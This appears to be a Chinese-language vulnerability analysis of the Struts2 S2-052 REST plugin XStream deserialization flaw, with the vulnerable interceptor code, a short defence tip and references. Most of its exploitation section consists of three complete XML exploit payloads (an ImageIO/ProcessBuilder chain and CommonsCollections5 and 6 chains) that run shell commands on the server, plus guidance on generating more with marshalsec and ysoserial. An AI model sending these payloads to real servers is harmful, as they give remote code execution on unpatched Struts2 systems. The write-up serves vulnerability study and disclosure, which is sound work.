0x00 漏洞介绍
Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的,S2-052利用的是Java反序列化漏洞,而不是臭名昭著的ognl。本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
本次漏洞最精彩的地方是漏洞利用,具体参考接下来的文章。
0x01 漏洞分析
本次漏洞的成因有两部分组成,一个是 Struts2 REST插件本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。
关键代码在org.apache.struts2.rest.ContentTypeInterceptor里
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
ContentTypeHandler handler = selector.getHandlerForRequest(request);
Object target = invocation.getAction();
if (target instanceof ModelDriven) {
target = ((ModelDriven)target).getModel();
}
if (request.getContentLength() > 0) {
InputStream is = request.getInputStream();
InputStreamReader reader = new InputStreamReader(is);
handler.toObject(reader, target);
}
return invocation.invoke();
}
问题出在以下两点
- ContentTypeHandler handler = selector.getHandlerForRequest(request);
- handler.toObject(reader, target);
Struts2的漏洞点本身没什么难度,这个漏洞精彩的地方是漏洞利用方面。
0x02 利用分析
本次漏洞,最开始的poc生成是利用marshalsec工具生成ImageIO的远程代码序列化对象,这个poc适用的环境是java1.8以上,这是个非常苛刻的条件。
利用的具体代码如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/pwn</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
这个利用代码利用了在 Java1.8 环境下,ImageIO库的反序列化漏洞,因此利用这个poc在线网上,是很少能打到目标的。ImageIO的利用分析参考阿里大牛的分析 CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
线上环境使用 Java 1.8 是个非常苛刻的条件,然而有没有在其他版本java的利用代码呢?答案是有的。漏洞的本质是反序列化漏洞,而反序列化工具ysoserial提供了大量的反序列化代码。通过查看marshalsec工具生成XStream的代码,发现利用下面代码再结合ysoserial工具的代码,即可生成更多的利用代码。
public class XStream extends MarshallerBase<String> implements CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean {
@Override
public String marshal ( Object o ) throws Exception {
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
return xs.toXML(o);
}
@Override
public Object unmarshal ( String data ) throws Exception {
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
return xs.fromXML(data);
}
@Override
public Object makeComparatorTrigger ( Object tgt, Comparator<?> cmp ) throws Exception {
return JDKUtil.makePriorityQueue(tgt, cmp);
}
public static void main ( String[] args ) {
new XStream().run(args);
}
}
利用commons.collections系列和XStream可以生成在java1.7环境下稳定利用的poc。生成poc的利用代码如下:
反序列化后会得到 object
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String payload = xs.toXML(object);
System.out.println(payload);
具体的利用代码如下
CommonsCollections5 + XStream 的利用
<javax.management.BadAttributeValueExpException>
<stackTrace>
<trace>ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:85)</trace>
<trace>ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:1)</trace>
<trace>ysoserial.payloads.util.PayloadRunner$1.call(PayloadRunner.java:28)</trace>
<trace>ysoserial.payloads.util.PayloadRunner$1.call(PayloadRunner.java:1)</trace>
<trace>ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)</trace>
<trace>ysoserial.payloads.util.PayloadRunner.run(PayloadRunner.java:21)</trace>
<trace>ysoserial.payloads.CommonsCollections5.main(CommonsCollections5.java:101)</trace>
</stackTrace>
<suppressedExceptions class="java.util.Collections$UnmodifiableRandomAccessList" resolves-to="java.util.Collections$UnmodifiableList">
<c class="list"/>
<list reference="../c"/>
</suppressedExceptions>
<val class="org.apache.commons.collections.keyvalue.TiedMapEntry">
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections.map.LazyMap>
<default>
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs class="string-array">
<string>touch /tmp/jdk1111</string>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="int">1</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
</iTransformers>
</factory>
</default>
<map/>
</org.apache.commons.collections.map.LazyMap>
</map>
<key class="string">foo</key>
</val>
</javax.management.BadAttributeValueExpException>
CommonsCollections6 + XStream 的利用
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections.map.LazyMap>
<default>
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs class="string-array">
<string>touch /tmp/manning123</string>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="int">1</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
</iTransformers>
</factory>
</default>
<map/>
</org.apache.commons.collections.map.LazyMap>
</map>
<key class="string">foo</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
利用的效果图展示
在实验中,执行的代码为:
touch /tmp/manning_s2_052
在poc打过去后,我们可以在tmp目录发现 manning_s2_052 文件
之前我在微博说利用可能达到11种,这个说法现在来看不准确,理论上marshalsec和ysoserial和SerialKillerBypassGadgetCollection的反序列化利用代码可以在本次的漏洞使用,因此本次漏洞的利用的变化是非常大的。
之前同事提出了一个观点
所有的struts2都有那个组件?,毕竟这个是依赖common-collections3组件,showcase是默认有,其它strtus2的应用有没有啊?
针对这个问题,我的看法是
strust2 默认不带这个库,不过很有可能项目中用到的其它库会依赖 collections,毕竟这个库使用量太大,所以感觉应该比 jdk8 更适用一些。
0x03 漏洞防御
由于漏洞利用变化极大,建议暂时关闭有REST插件的Struts2站点。
0x04 参考内容
https://0bin.net/paste/xI3qQXBnBFi+ZIC6#y151P6VdT9DXPOBqgQviWRECRnW6+gSuK+frvsnAfZy
http://bobao.360.cn/learning/detail/4372.html
https://github.com/mbechler/marshalsec
https://github.com/frohoff/ysoserial
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
https://github.com/pwntester/SerialKillerBypassGadgetCollection